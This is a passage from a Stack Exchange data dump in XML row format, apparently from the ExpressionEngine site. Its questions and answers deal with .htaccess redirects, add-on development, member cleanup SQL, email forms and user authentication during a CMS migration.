&#xA;RewriteCond %{HTTP_HOST} !^\.site\.com$ [NC]&#xA;RewriteRule ^(.+)/$ http://%{HTTP_HOST}/$1 [R=301,L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&#xA;ErrorDocument 404 /error/404&#xA;&#xA;&amp;lt;FilesMatch &quot;(\.jpe?g|gif|png|bmp|css|js|flv|pdf)$&quot;&amp;gt;&#xA;ErrorDocument 404 &quot;File Not Found&quot;&#xA;&amp;lt;/FilesMatch&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="603" LastEditorUserId="603" LastEditDate="2013-09-18T15:15:34.213" LastActivityDate="2013-09-18T19:12:00.847" Title="&quot;Too Many Redirects&quot; browser error after adding some stuff to .htaccess when trying to view control panel login page" Tags="|control-panel|redirects|.htaccess|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13819" PostTypeId="2" ParentId="13813" CreationDate="2013-09-16T22:02:11.830" Score="1" Body="&lt;p&gt;Actually, I figured out the problem. It was a return parameter setting that was sending logged in users to the same page no matter where they came from.&lt;/p&gt;&#xA;" OwnerUserId="434" LastActivityDate="2013-09-16T22:02:11.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13820" PostTypeId="2" ParentId="13818" CreationDate="2013-09-17T01:58:51.757" Score="2" Body="&lt;p&gt;&lt;strong&gt;Updated:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue caused by the trailing slash redirect happening &lt;em&gt;after&lt;/em&gt; your EE index.php rewrite. You need to have this redirect happen before rewriting to index.php. (Note: almost always, you want all redirects to happen before the rewrite to index.php.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, the simplest way to correctly remove the trailing slash, that shouldn't cause you issues, looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;  RewriteEngine On&#xA;  RewriteRule ^(.+)/$ /$1 [R=301,L]&#xA;&#xA;  RewriteCond $1 !\.(gif|jpe?g|png)$ [NC]&#xA;  RewriteCond %{REQUEST_FILENAME} !-f&#xA;  RewriteCond %{REQUEST_FILENAME} !-d&#xA;  RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In addition to the re-ordering of rules, you don't need to have the full {HTTP_HOST} reference in the trailing slash redirect, so I changed your original:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^(.+)/$ http://%{HTTP_HOST}/$1 [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to the more simple (but, effectively, the same):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^(.+)/$ /$1 [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And, there's no reason to include the condition that this rule applies only to site.com, &lt;em&gt;unless&lt;/em&gt; you're running other domains on this same virtual host, and want requests to some domain(s) skip this rule. So, I altogether removed this line from your original:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{HTTP_HOST} !^\.site\.com$ [NC]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But, if you want to remove the trailing slash on requests only to site.com, but not on requests to other domains (say, site2.com), you could add the condition, like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{HTTP_HOST} ^site\.com$ [NC]&#xA;RewriteRule ^(.+)/$ /$1 [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or, if you wanted it to apply to all domains &lt;strong&gt;except&lt;/strong&gt; site.com, you'd do this, instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{HTTP_HOST} !^site\.com$ [NC]&#xA;RewriteRule ^(.+)/$ /$1 [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Again, the removal of the trailing slash, which is a redirect, should occur before the rewrite to index.php (redirect rules above the rewrite to index.php in htaccess).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, once you make this change, be sure to restart your browser and/or test in a different browser. Browsers can cache 301 redirects, and may not immediately pick-up these changes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're ever testing a redirect, and want to avoid browser caching, use a 302 (temporary) redirect until you're done testing, and then change to a 301 (permanent) redirect. E.g., you can do this for testing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^(.+)/$ /$1 [R=302,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Added:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you still have any trouble, you can be even more explicit about where this rule should &lt;em&gt;not&lt;/em&gt; apply, e.g., to not apply to your themes and system folders, etc:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond $1 !^(css|images|themes|system)/ [NC]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteRule ^(.+)/$ /$1 [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Original:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if this is the cause of what you're seeing, but your first line of the above .htaccess doesn't seem right:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{HTTP_HOST} !^\.site\.com$ [NC]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The dot at the beginning means it's excluding the host name .site.com (i.e., extra dot at the beginning).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I think you want to remove that . to make it just:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{HTTP_HOST} !^site\.com$ [NC]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does making that change resolve your issue?&lt;/p&gt;&#xA;" OwnerUserId="1900" LastEditorUserId="1900" LastEditDate="2013-09-18T19:12:00.847" LastActivityDate="2013-09-18T19:12:00.847" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="13821" PostTypeId="1" CreationDate="2013-09-17T03:58:57.930" Score="2" ViewCount="96" Body="&lt;p&gt;I'm building a Low Search form to filter channel entries by Solspace Tag GROUP fields. I have installed Low Search Tag (&lt;a href=&quot;http://github.com/low/low_search_tag&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://github.com/low/low_search_tag&lt;/a&gt;) but it looks like my only options are filtering by individual tags, ex:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;tag_id:group1[]&quot; multiple=&quot;multiple&quot;&amp;gt;&#xA;  {exp:tag:cloud tag_group_name=&quot;group1&quot;}&#xA;    &amp;lt;option value=&quot;{tag_id}&quot;{if tag_id IN ({low_search_tag_id:group1})} selected=&quot;selected&quot;{/if}&amp;gt;&#xA;      {tag}&#xA;    &amp;lt;/option&amp;gt;&#xA;  {/exp:tag:cloud}&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I need a similar select dropdown in my form showing the Solspace Tag GROUPS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CHANNEL FIELDS: Each Tag GROUP belongs in its own channel field (screenshot).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KmNuy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What name=&quot;&quot; attribute do I need for a similar  dropdown of Tag Groups so that if a Tag Group is selected, entries with at least one tag in the selected Tag Group will be included in search results?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="1225" LastActivityDate="2013-09-18T08:00:42.643" Title="Low Search form to filter by Solspace Tag GROUPs" Tags="|low-search|solspace-tag|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13822" PostTypeId="1" CreationDate="2013-09-17T04:52:42.450" Score="1" ViewCount="61" Body="&lt;p&gt;I've come across an issue where I've got a celltype which contains array data stored as a JSON string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I json_encode the array and return it on save_cell(), display_cell() then returns the JSON quote wrappers as entities?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I expect:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[{&quot;first_name&quot;:&quot;Garret&quot;,&quot;last_name&quot;:&quot;Winder&quot;},{&quot;first_name&quot;:&quot;Jeff&quot;,&quot;last_name&quot;:&quot;Claeson&quot;},{&quot;first_name&quot;:&quot;Paul&quot;,&quot;last_name&quot;:&quot;Burton&quot;}]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[{&amp;amp;quot;first_name&amp;amp;quot;:&amp;amp;quot;Garret&amp;amp;quot;,&amp;amp;quot;last_name&amp;amp;quot;:&amp;amp;quot;Winder&amp;amp;quot;},{&amp;amp;quot;first_name&amp;amp;quot;:&amp;amp;quot;Jeff&amp;amp;quot;,&amp;amp;quot;last_name&amp;amp;quot;:&amp;amp;quot;Claeson&amp;amp;quot;},{&amp;amp;quot;first_name&amp;amp;quot;:&amp;amp;quot;Paul&amp;amp;quot;,&amp;amp;quot;last_name&amp;amp;quot;:&amp;amp;quot;Burton&amp;amp;quot;}]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there any way I can disable this in Matrix? Presumably if I set the column formatting to 'none' somehow in the cell settings it'll resolve it - I couldn't see how to do that in the docs?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For now I'm just finding and replacing the &amp;quot; entities before decoding...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&#xA;Iain&lt;/p&gt;&#xA;" OwnerUserId="549" LastEditorUserId="549" LastEditDate="2013-09-17T04:59:39.490" LastActivityDate="2016-06-06T03:58:43.750" Title="Matrix display_cell() encoding entities when returning json string" Tags="|matrix|pixelandtonic|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13823" PostTypeId="2" ParentId="13810" CreationDate="2013-09-17T06:21:03.293" Score="0" Body="&lt;p&gt;You can delete all those members with single SQL:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DELETE exp_members, exp_member_data, exp_member_homepage FROM exp_members &#xA;INNER JOIN exp_member_data &#xA;INNER JOIN exp_member_homepage &#xA;WHERE exp_member_data.member_id = exp_members.member_id &#xA;AND exp_members.member_id = exp_member_homepage.member_id &#xA;AND exp_members.total_entries = 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would suggest you to take database backup first.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-09-17T06:21:03.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13824" PostTypeId="1" CreationDate="2013-09-17T07:42:12.063" Score="1" ViewCount="79" Body="&lt;p&gt;Is it possible to use the download tag (&lt;a href=&quot;https://exp-resso.com/docs/download_tag.html&quot; rel=&quot;nofollow&quot;&gt;https://exp-resso.com/docs/download_tag.html&lt;/a&gt;) in Expresso Store to deliver a url of a web page and not to download a file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking for a way to sell access to individual channel entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any ideas on this...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards&#xA;Lee&lt;/p&gt;&#xA;" OwnerUserId="68" LastActivityDate="2013-09-17T20:31:00.163" Title="Can the Expresso Store download tag deliver web page urls?" Tags="|expresso-store|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13825" PostTypeId="1" AcceptedAnswerId="13828" CreationDate="2013-09-17T10:40:35.540" Score="1" ViewCount="641" Body="&lt;p&gt;New site that we're building in 2.7 is having a weird issue which I don't appear to be able to get any log information about.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;we have &lt;a href=&quot;http://site.com/c/content-url-title-here&quot; rel=&quot;nofollow&quot;&gt;http://site.com/c/content-url-title-here&lt;/a&gt; and if you try accessing this URL we get a 500 Server Error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if we manually add a trailing slash to make the URL &lt;a href=&quot;http://site.com/c/content-url-title-here/&quot; rel=&quot;nofollow&quot;&gt;http://site.com/c/content-url-title-here/&lt;/a&gt; it loads the page fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't see anything in the Changelogs that would indicate a specific 2.7 issue around this, has anyone come across this issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Info, this is my .htaccess:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Options +FollowSymLinks&#xA;RewriteEngine on&#xA;&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteCond %{REQUEST_FILENAME} !-l&#xA;RewriteRule (.*) /index.php/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've never had this issue before and none of my apache logs are giving any errors at all. Anyone able to advise?&lt;/p&gt;&#xA;" OwnerUserId="18" LastActivityDate="2013-09-17T11:16:21.703" Title="Error 500 Server Error if no trailing slash" Tags="|url|2.7.0|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13826" PostTypeId="2" ParentId="13825" CreationDate="2013-09-17T10:47:08.467" Score="0" Body="&lt;p&gt;The &quot;content-url-title-here&quot; might be a reserved word. I've had it before with some hosting setups that they have a high-level htaccess file redirecting to a control panel or web service.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-09-17T10:47:08.467" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13827" PostTypeId="2" ParentId="13825" CreationDate="2013-09-17T10:48:35.723" Score="0" Body="&lt;p&gt;I've had issue lately with Option +FollowSymLinks - my htaccess is also a bit different&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteCond $1 !^/index.php&#xA;RewriteCond $1 !.(css|js|png|jpe?g|gif|ico)$ [NC]&#xA;RewriteRule ^(.*)$ index.php/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="146" LastActivityDate="2013-09-17T10:48:35.723" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13828" PostTypeId="2" ParentId="13825" CreationDate="2013-09-17T11:16:21.703" Score="3" Body="&lt;p&gt;Please Ignore this question... the issue was somewhere between the keyboard and the chair!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Carl&lt;/p&gt;&#xA;" OwnerUserId="18" LastActivityDate="2013-09-17T11:16:21.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13830" PostTypeId="2" ParentId="9664" CreationDate="2013-09-17T13:16:18.980" Score="4" Body="&lt;p&gt;Try adding these lines on the bottom of your &lt;code&gt;expressionengine/config/config.php&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['cookie_prefix'] = '';&#xA;$config['cookie_path'] = '';&#xA;$config['cookie_domain'] = '';&#xA;$config['user_session_type'] = 'c';&#xA;$config['admin_session_type'] = 's';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2067" LastActivityDate="2013-09-17T13:16:18.980" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13831" PostTypeId="2" ParentId="13738" CreationDate="2013-09-17T13:16:50.277" Score="1" Body="&lt;p&gt;have you updated the extload.php inside /themes/third_party/cartthrob/lib ?&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2013-09-17T13:16:50.277" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13832" PostTypeId="1" AcceptedAnswerId="13833" CreationDate="2013-09-17T13:56:17.190" Score="0" ViewCount="48" Body="&lt;p&gt;I have developed a module, and now I would like it to make it configurable by admin users. How do I go about adding editable variables (I assume to the control panel page) and how do I later access these values in my code please? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't find any useful tutorials or references on this subject.&lt;/p&gt;&#xA;" OwnerUserId="1964" LastActivityDate="2013-09-17T14:08:38.353" Title="How can I add configurable variables to my add-on?" Tags="|add-on-development|configuration-variables|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13833" PostTypeId="2" ParentId="13832" CreationDate="2013-09-17T14:08:38.353" Score="1" Body="&lt;p&gt;Modules in EE have no built-in way to store configuration data (unlike Extensions, in which you can store &quot;settings&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you'll have to create your own custom database table(s) during module installation, then write to/fetch from that table in your module control panel methods.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/module_tutorial.html&quot; rel=&quot;nofollow&quot;&gt;module tutorial in the user guide&lt;/a&gt; shows how to create a new table during install, and also how to fetch data in your .mcp file, then pass that data to your view file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd strongly suggest reading through the entire &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/index.html&quot; rel=&quot;nofollow&quot;&gt;add-on development section&lt;/a&gt; of the user guide, it will give you a pretty comprehensive overview of how things work in EE add-on development.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-09-17T14:08:38.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13835" PostTypeId="1" CreationDate="2013-09-17T15:03:07.433" Score="2" ViewCount="161" Body="&lt;p&gt;I originally posted this on stackoverflow before discovering this specific forum... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been asked to make some changes to a site that was built with Expression Engine 1.6.8. Even though I'm not familiar with this CMS, I can find my way around to make the updates, except I'm not sure about adding a contact form. I'm guessing that ultimately I'll have to upgrade this version to the newest (2.7, I believe?) in order to get the tags found on this page to work: &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/email/contact_form.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/email/contact_form.html&lt;/a&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My only hesitation in making the upgrade is my unfamiliarity with EE, and the fact that someone else is probably creating a brand new website for the one I'm working on, and very likely without EE (so I'm learning something that I may not need again).  Are there any major issues that I'll run into making this jump from 1.6.8 to 2.7?  I wish the previous person maintaining the site had kept up with the upgrades.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions for a quick fix, or should I just bite the bullet, upgrade, and use what I've found? **HOWEVER, I've now realized that I'm probably running core, in which the email module isn't even offered, so I'm sure my options are really limited...&lt;/p&gt;&#xA;" OwnerUserId="2069" LastEditorUserId="2069" LastEditDate="2013-09-17T15:24:25.503" LastActivityDate="2013-09-19T15:02:25.227" Title="ExpressionEngine 1.6.8 Contact Form or just upgrade?" Tags="|module|email|forms|upgrade|updating|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13836" PostTypeId="1" CreationDate="2013-09-17T16:01:12.710" Score="0" ViewCount="375" Body="&lt;p&gt;I am afraid I am a bad coder, so I ask for a little help here. I went through answers, but I do not understand enough to go on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I must make a form, one of the fields is a drop down, and before the user processes the form, the form must auto-fill in values of certain fields. I have got that working with a relationship field, but that gives a list with titles. I need one specific field.....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried Select2  &lt;a href=&quot;http://devot-ee.com/add-ons/select2&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/select2&lt;/a&gt; as fieldtype which seems better than the relationship field, because I think I can select another field, not just the title. But the syntax of the MYSQL query confuses me. And I do not know how to do the auto-population.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks a lot.&lt;/p&gt;&#xA;" OwnerUserId="1615" LastEditorUserId="1615" LastEditDate="2013-09-17T16:12:08.500" LastActivityDate="2013-09-17T16:12:08.500" Title="form: how to autofill fields based on value in relation-dropdown" Tags="|forms|pre-populate|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13837" PostTypeId="1" CreationDate="2013-09-17T16:02:27.360" Score="2" ViewCount="127" Body="&lt;p&gt;I am developing a module which resides in the third_party directory of my expression engine install, which includes a public method which sends an email when called via cron. Currently the only way I can think to call this method is by setting up an action and calling it via the url.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like this;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://my.domain/?ACT=52&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This seems to be confirmed &lt;a href=&quot;http://brandnewbox.co.uk/support/details/running_imports_periodically_using_cron&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; as a valid approach.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem with this is that it breaks as soon as the module gets re-installed, as the action id will be regenerated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So then I thought about making a template, which has an embedded call to my module method, and visiting the url of this template from my cron job. This is ok, but I don't like the idea of using templates for something that is not in any way a view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I would like to do, bearing in mind EE is built on an MCV framework, is use the codeigniter routing to call it. Something like;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/third_party/my_module/my_controller/my_email_method&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I don't know if this is possible, nor what the form of the url would be if it were possible.&lt;/p&gt;&#xA;" OwnerUserId="1964" LastActivityDate="2013-09-18T13:19:03.457" Title="Is it possible to call public methods in my module using the core codeigniter mvc routing?" Tags="|add-on-development|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13838" PostTypeId="1" CreationDate="2013-09-17T16:05:13.383" Score="3" ViewCount="2029" Body="&lt;p&gt;How can i find or get an PHP Error Log? Not server-side, only on Expression Engine Level.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On my server i can see an error log but to fix a problem with assets, i need a EE-side php error log.&lt;/p&gt;&#xA;" OwnerUserId="2070" LastActivityDate="2013-09-17T21:57:14.640" Title="Expression Engine PHP Error Log" Tags="|php|error|php-errors|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13839" PostTypeId="2" ParentId="6987" CreationDate="2013-09-17T16:24:24.327" Score="1" Body="&lt;p&gt;You could also use MX Notify Control to fire an email using the Member Register trigger.&lt;/p&gt;&#xA;" OwnerUserId="466" LastActivityDate="2013-09-17T16:24:24.327" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13840" PostTypeId="1" CreationDate="2013-09-17T17:29:32.333" Score="0" ViewCount="148" Body="&lt;p&gt;New to using Expression Engine Classes and not sure how to use the Email class.  I created the class and placed it within my template, but now i get a Parse Error. Again new to EE.  How would I go about using this class, such as submitting the input fields. Here is my code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form method=&quot;post&quot; id=&quot;vara-registration&quot;&amp;gt;&#xA;        &amp;lt;?php&#xA;          ee()-&amp;gt;load-&amp;gt;library('email');&#xA;          ee()-&amp;gt;load-&amp;gt;helper('text');&#xA;        ee()-&amp;gt;email-&amp;gt;wordwrap = true;&#xA;        ee()-&amp;gt;email-&amp;gt;mailtype = 'text';&#xA;          $errors = array();&#xA;&#xA;          foreach($member_emails as $username =&amp;gt; $from)&#xA;       {&#xA;        ee()-&amp;gt;email-&amp;gt;from($from);&#xA;        ee()-&amp;gt;email-&amp;gt;to(&quot;email@email.com&quot;);&#xA;        ee()-&amp;gt;email-&amp;gt;subject(&quot; Registration Request&quot;);&#xA;        ee()-&amp;gt;email-&amp;gt;set_alt_message('User has requested Login verfication');&#xA;        ee()-&amp;gt;email-&amp;gt;send();&#xA;&#xA;    if ( ! ee()-&amp;gt;email-&amp;gt;send())&#xA;    {&#xA;        $errors[] = ee()-&amp;gt;email-&amp;gt;print_debugger();&#xA;&#xA;        // Send failed, data was not cleared&#xA;        ee()-&amp;gt;email-&amp;gt;clear();&#xA;    }&#xA;    ?&amp;gt;&#xA;&#xA;    &amp;lt;p&amp;gt;&amp;lt;label for=&quot;name&quot;&amp;gt;Name&amp;lt;/label&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;name&quot; id=&quot;name_sec&quot; value=&quot;&quot;&amp;gt;&amp;lt;/p&amp;gt;&#xA;            &amp;lt;p&amp;gt;&amp;lt;label for=&quot;phone&quot;&amp;gt;Phone&amp;lt;/label&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;phone&quot; id=&quot;phone_sec&quot; value=&quot;&quot;&amp;gt;&amp;lt;/p&amp;gt;     &#xA;            &amp;lt;p&amp;gt;&amp;lt;label for=&quot;Email&quot;&amp;gt;Email&amp;lt;/label&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;email&quot; id=&quot;email&quot; value=&quot;&quot;&amp;gt;&amp;lt;/p&amp;gt;&#xA;            &amp;lt;p&amp;gt;&amp;lt;input type=&quot;submit&quot;&amp;gt;&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1940" LastEditorUserId="389" LastEditDate="2015-11-18T17:22:09.430" LastActivityDate="2015-11-18T17:22:09.430" Title="ExpressionEngine Classes" Tags="|php|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13841" PostTypeId="1" CreationDate="2013-09-17T17:37:36.587" Score="0" ViewCount="44" Body="&lt;p&gt;I have a custom fieldtype on my site which allows you to upload an image and draw on it. However, while the site uses a resized version of the image, the fieldtype displays the full-sized version when the user draws from it. How do I get the resized url from the full sized version from within the plugin's code?&lt;/p&gt;&#xA;" OwnerUserId="1273" LastActivityDate="2013-09-17T17:37:36.587" Title="How do I get the resized version of an image in a fieldtype plugin?" Tags="|add-on-development|custom-fields|file-uploads|image|image-path|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13842" PostTypeId="1" CreationDate="2013-09-17T17:39:26.987" Score="3" ViewCount="292" Body="&lt;p&gt;I have set up all of the proper permissions for our client to edit categories, and this is working.  But so far as I can tell, there is no way to give access to the Admin -&gt; Channel Settings -&gt; Categories section without giving them access to the Channel Settings, Channel Fields, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I am needing is for my client to be able to see, arrange, and edit categories without having to go to an entry and switch to the categories tab.  Add-ons welcome.&lt;/p&gt;&#xA;" OwnerUserId="1529" LastActivityDate="2013-09-17T21:47:11.497" Title="How can someone edit categories without editing an entry" Tags="|categories|permissions|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13843" PostTypeId="2" ParentId="13835" CreationDate="2013-09-17T17:47:21.787" Score="2" Body="&lt;p&gt;The EE1 docs are still available for &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/&quot; rel=&quot;nofollow&quot;&gt;download&lt;/a&gt;. Just look in the top right corner for a link to download the zipped docs. You can look for the section about the email module, which should do exactly as you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case, it may be easiest to just work with what you have. Upgrading to 2.7 from 1.6.8 could be quite an undertaking. Sometimes it works out really easily, but other times it can be pretty awful to deal with, it really depends on how the site is built and what add-ons are in play.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2013-09-17T17:47:21.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13844" PostTypeId="1" CreationDate="2013-09-17T18:28:12.677" Score="2" ViewCount="317" Body="&lt;p&gt;I'm working on the new CMS implementation project.&#xA;We have ~4000 users in ExpressionEngine v 1.6.3 CMS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The project requirement is, to let current EE members login to new CMS based on their encrypted credentials in EE. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the any way I can run an external php script utilizing Authentication Function from EE core&#xA;$this-&gt;EE-&gt;auth-&gt;authenticate_username($username, $password)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help will be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pawel&lt;/p&gt;&#xA;" OwnerUserId="2071" LastActivityDate="2014-08-07T14:01:33.810" Title="Authenticating against ExpressionEngine" Tags="|login|authentication|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
